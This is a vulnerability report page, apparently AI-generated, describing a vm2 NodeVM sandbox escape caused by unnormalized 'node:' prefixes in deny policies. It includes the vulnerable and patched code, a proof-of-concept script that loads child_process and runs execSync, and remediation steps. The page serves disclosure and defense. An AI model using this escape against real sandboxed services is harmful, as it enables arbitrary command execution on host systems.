CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-92957

CVE-2026-92957: Sandbox Escape and Remote Code Execution in vm2 via node: Prefix Policy Bypass

Alon Barad
Alon Barad
Software Engineer

Oct 2, 2026·6 min read·5 visits

Executive Summary (TL;DR)

vm2 fails to normalize the 'node:' prefix in negative builtin policy entries, allowing sandboxed code to load disallowed modules like 'child_process' and achieve remote code execution on the host.

A vulnerability in the NodeVM component of the vm2 sandbox package through version 3.11.6 allows sandboxed code to bypass security policies restricting access to built-in modules. When a wildcard require policy is configured with negative deny entries using the 'node:' prefix (e.g., '-node:child_process'), the parser fails to recognize the exemption due to exact string comparison. As a result, the unmitigated module is registered, allowing sandboxed code to import the host child_process module and execute arbitrary system commands.

Vulnerability Overview

The vm2 package is a widely utilized Node.js library designed to run untrusted code in a sandboxed context. It exposes several interfaces, including the NodeVM class, which offers custom module-loading mechanisms. These mechanisms allow administrators to restrict or grant access to host-level Node.js built-in modules. The attack surface consists of the require hook within NodeVM, which regulates module access based on a user-defined policy.\n\nThis vulnerability is classified under CWE-269 (Improper Privilege Management). It manifests as a sandbox escape that grants sandboxed code unrestricted access to the host's operating system environment. An attacker capable of executing arbitrary JavaScript within a vm2 sandbox can bypass the intended policy configuration if it uses wildcard exclusions.\n\nThe vulnerability is particularly critical because the compromise of a NodeVM instance can lead directly to remote code execution on the underlying host. By accessing powerful system modules like child_process, untrusted sandboxed code can execute arbitrary binary files and commands. This breaks the primary isolation guarantee of the vm2 library.

Root Cause Analysis

The primary flaw lies in how the NodeVM policy configuration engine parses wildcard module options during initialization. When a developer instantiates NodeVM with a wildcard policy, such as new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }), the engine expands the wildcard asterisk into an allowlist. This expansion is handled by the makeBuiltinsFromLegacyOptions function inside lib/builtin.js.\n\nDuring this expansion phase, the function loops through the canonical list of built-in modules (BUILTIN_MODULES). For each canonical name, such as child_process or fs, the code verifies if a corresponding negative deny entry exists in the user-supplied array. This verification uses an exact string matching check via the indexOf method, looking for the pattern -${name} where name is the canonical un-prefixed module name.\n\nBecause the canonical list contains un-prefixed names like child_process, the code searches for -child_process. However, if the policy specifies a deny token using Node's modern URL scheme prefix, such as -node:child_process, the exact-match check fails to find -child_process. This failure allows the un-prefixed child_process module to remain in the allowed registry of the instantiated sandbox environment.\n\nAt execution time, when sandboxed code requests the module via require('child_process') or require('node:child_process'), the runtime module resolver strips the node: prefix. It then checks the registered allowlist. Since the canonical module name child_process was never removed from the registry during the wildcard expansion phase, the resolver successfully fulfills the request, returning the real, host-level module.\n\nmermaid\ngraph LR\n A["Policy: '-node:child_process'"] --> B["makeBuiltinsFromLegacyOptions()"]\n B --> C["Check: indexOf('-child_process')"]\n C --> D{"Match Found?"}\n D -- "No" --> E["child_process Registered"]\n D -- "Yes" --> F["Blocked"]\n E --> G["require('child_process') inside Sandbox"]\n G --> H["Host RCE"]\n

Code Analysis

A review of the vulnerable function makeBuiltinsFromLegacyOptions in lib/builtin.js highlights the exact location of the string mismatch. The engine processes the user-supplied builtins array in the following manner before the patch:\n\njavascript\n// Vulnerable Code Path\nfunction makeBuiltinsFromLegacyOptions(builtins, hostRequire, mocks, overrides) {\n if (def) {\n for (let i = 0; i < BUILTIN_MODULES.length; i++) {\n const name = BUILTIN_MODULES[i];\n if (builtins.indexOf(`-${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n }\n }\n }\n}\n\n\nIn this implementation, if builtins contains '-node:child_process', the check builtins.indexOf('-child_process') evaluates to -1. Consequently, the conditional block executes and adds the child_process module to the resolved built-ins registry res.\n\nThe patch introduced in version 3.11.7 corrects this parsing gap by explicitly matching both the canonical un-prefixed deny token and the node: prefixed deny token. This modification aligns the policy validation with the actual execution-time module resolver:\n\njavascript\n// Patched Code Path\nfunction makeBuiltinsFromLegacyOptions(builtins, hostRequire, mocks, overrides) {\n if (def) {\n for (let i = 0; i < BUILTIN_MODULES.length; i++) {\n const name = BUILTIN_MODULES[i];\n // SECURITY (GHSA-8686-vhfx-7r3j): Match BOTH un-prefixed and node: prefixed spellings\n if (builtins.indexOf(`-${name}`) === -1 && builtins.indexOf(`-node:${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n }\n }\n }\n}\n\n\nBy checking both conditions, the engine successfully identifies that the user intended to exclude the module regardless of which naming scheme they used. This prevents the module from being registered and ensures the sandbox maintains a tight perimeter.

Exploitation

Exploitation of this vulnerability requires that the host application instantiates NodeVM using a wildcard require policy combined with a negative deny token utilizing the node: prefix. The attacker must have the ability to supply and execute arbitrary JavaScript code within the sandbox.\n\nThe following script demonstrates a functional proof of concept. The code configures NodeVM to deny the node:child_process module while permitting other modules via the wildcard option. Inside the sandbox, the execution hooks are then leveraged to bypass the restriction.\n\njavascript\nconst { NodeVM } = require('vm2');\n\n// Host-side configuration with vulnerable wildcard and deny-list policy\nconst vm = new NodeVM({\n require: {\n builtin: ['*', '-node:child_process']\n }\n});\n\n// Sandboxed code executing the escape\nconst result = vm.run(`\n // Due to exact-string comparison mismatch, 'child_process' remains allowed\n const cp = require('child_process');\n \n // Execute system commands directly on the host\n module.exports = cp.execSync('whoami').toString();\n`, 'payload.js');\n\nconsole.log('Host Username:', result);\n\n\nWhen the sandbox runs this code, the require call returns the host's original child_process module rather than a restricted variant. The sandboxed code then gains direct access to the execSync function, breaking sandbox isolation and executing system commands with the privileges of the Node.js process.

Impact Assessment

The impact of a sandbox escape via this vulnerability is high. Because NodeVM is designed to serve as a secure boundary for untrusted code execution, a failure in module enforcement completely nullifies the security guarantees of the library.\n\nAn attacker who successfully exploits this vulnerability gains full remote code execution on the underlying host operating system. This access is bounded only by the privileges of the process hosting the Node.js runtime. This allows for unauthorized file modification, data exfiltration, and potential lateral movement within internal networks.\n\nThis vulnerability has been assigned a CVSS v3.1 base score of 9.9 and a CVSS v4.0 base score of 9.4, classifying it as Critical. The attack complexity is low, requiring no special privileges or user interaction other than the existing mechanism used to pass untrusted code to the sandbox. Additionally, the scope is changed, reflecting the transition of vulnerability impact from the sandboxed environment directly to the host system.

Remediation & Mitigation

To address this vulnerability, administrators and developers must upgrade the vm2 dependency to version 3.11.7 or later. This version contains the patch that normalizes the prefix checks in the policy parsing code, successfully blocking both un-prefixed and prefixed require calls.\n\nIf upgrading is not immediately feasible, developers should modify their sandbox initialization parameters. You should avoid utilizing the wildcard character ('*') combined with negative exclusions. Instead, explicitly declare an allowlist containing only the minimal safe modules required by the sandboxed application.\n\njavascript\n// Safe Configuration (Explicit Allowlist)\nconst vm = new NodeVM({\n require: {\n builtin: ['path', 'url'] // Only these modules are allowed\n }\n});\n\n\nIt is critical to note that the vm2 project has been officially deprecated and archived by its maintainers due to recurring sandbox escape design flaws. For long-term security, organizations should migrate to stronger isolation runtimes such as WebAssembly (Wasm), microVMs, or process-level isolation frameworks.

Official Patches

patriksimekvm2 v3.11.7 Release Notes
GitHub Security AdvisorySecurity Advisory GHSA-8686-vhfx-7r3j

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.54%
Top 57% most exploited

Affected Systems

vm2 sandbox environments running version 3.11.6 or earlier

Affected Versions Detail

Product
Affected Versions
Fixed Version
vm2
patriksimek
<= 3.11.63.11.7
AttributeDetail
CWE IDCWE-269
Attack VectorNetwork
CVSS v3.1 Score9.9 (Critical)
CVSS v4.0 Score9.4 (Critical)
EPSS Score0.00537 (43.14th percentile)
Exploit MaturityProof of Concept
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-269
Improper Privilege Management

The software does not properly assign, modify, track, or restrict privileges for an actor, or it fails to restrict access to key APIs, resulting in privilege escalation.

Vulnerability Timeline

Vulnerability fix committed to the repository
2026-08-22
Vulnerability disclosed and published on NVD
2026-09-17

References & Sources

  • [1]GitHub Security Advisory GHSA-8686-vhfx-7r3j
  • [2]VulnCheck Advisory for vm2 Node Prefix Bypass
  • [3]CVE Record JSON Data
  • [4]NVD CVE-2026-92957 Detail
  • [5]CVE.org CVE-2026-92957 Record
  • [6]Fix Commit b0f5066

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-92937
10.0

CVE-2026-92937: Sandbox Escape leading to Remote Code Execution via Promise Indirection in vm2

CVE-2026-92937 is a critical sandbox escape vulnerability in the `vm2` Node.js library. Due to a logical failure in checking direct invocation targets inside the Proxy bridge, an attacker can register Promise callbacks using `Function.prototype.call` or `Function.prototype.apply` indirection. This bypasses the error sanitization wrappers, delivering raw host error objects directly to sandboxed callbacks and allowing the attacker to escape the sandbox and execute arbitrary shell commands on the host.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 2 hours ago•CVE-2026-92935
9.5

CVE-2026-92935: Remote Code Execution via Array-Shaped Require Config in vm2 NodeVM Sandbox

CVE-2026-92935 is a critical sandbox escape and remote code execution vulnerability in the vm2 library. By supplying an array or exotic object to the require property of NodeVM while nesting is enabled, attackers can bypass security checks, load the host vm2 module, and run arbitrary shell commands on the hosting server.

Alon Barad
Alon Barad
4 views•7 min read
•about 3 hours ago•CVE-2026-92949
4.0

CVE-2026-92949: Sandbox Escape and State Mutation in vm2 via Accessor Property Descriptor Leak

CVE-2026-92949 is a sandbox bypass vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6. The flaw exists due to a breakdown in the ReadOnlyHandler proxy boundary, allowing sandboxed scripts to obtain direct references to wrapped property setters on frozen host-bound objects, ultimately leading to unauthorized state modification in the host environment. This security failure violates the read-only contract enforced by the sandbox for frozen/readonly objects, though it does not by itself allow a full execution-level realm escape. Due to systemic and structural design difficulties in securing a shared-runtime JavaScript sandbox, the vm2 library has been officially deprecated.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 5 hours ago•CVE-2026-92958
8.5

CVE-2026-92958: Built-in Module Denylist Bypass via fs/promises in vm2 NodeVM Subsystem

CVE-2026-92958 is a high-severity sandbox escape and denylist bypass vulnerability within the NodeVM subsystem of the vm2 sandboxing library. When configuring wildcards with negative deny entries, exact-string matches fail to block subpaths like fs/promises. Sandboxed code can import these subpaths to bypass isolation and execute arbitrary filesystem operations on the host.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-92951
9.9

CVE-2026-92951: Sandbox Escape via External Package Allowlist Bypass in vm2

An incorrect authorization and directory traversal vulnerability in the vm2 library before version 3.11.7 allows remote attackers to bypass the sandbox's external package allowlist. This flaw permits sandboxed code to resolve and execute arbitrary packages available on the host filesystem under host privileges, leading to unauthenticated sandbox escape and host code execution.

Alon Barad
Alon Barad
6 views•6 min read
•about 7 hours ago•CVE-2026-92940
10.0

CVE-2026-92940: Host-Realm Credential Exposure and Socket Hijacking via globalAgent in vm2

A critical vulnerability in the Node.js sandbox library vm2 allows sandboxed code to retrieve the process-wide http.globalAgent and https.globalAgent singletons. By attaching event listeners to these host-realm emitters, sandboxed code can intercept host-realm network requests, capturing sensitive Authorization headers and hijacking active TLSSocket streams.

Amit Schendel
Amit Schendel
7 views•9 min read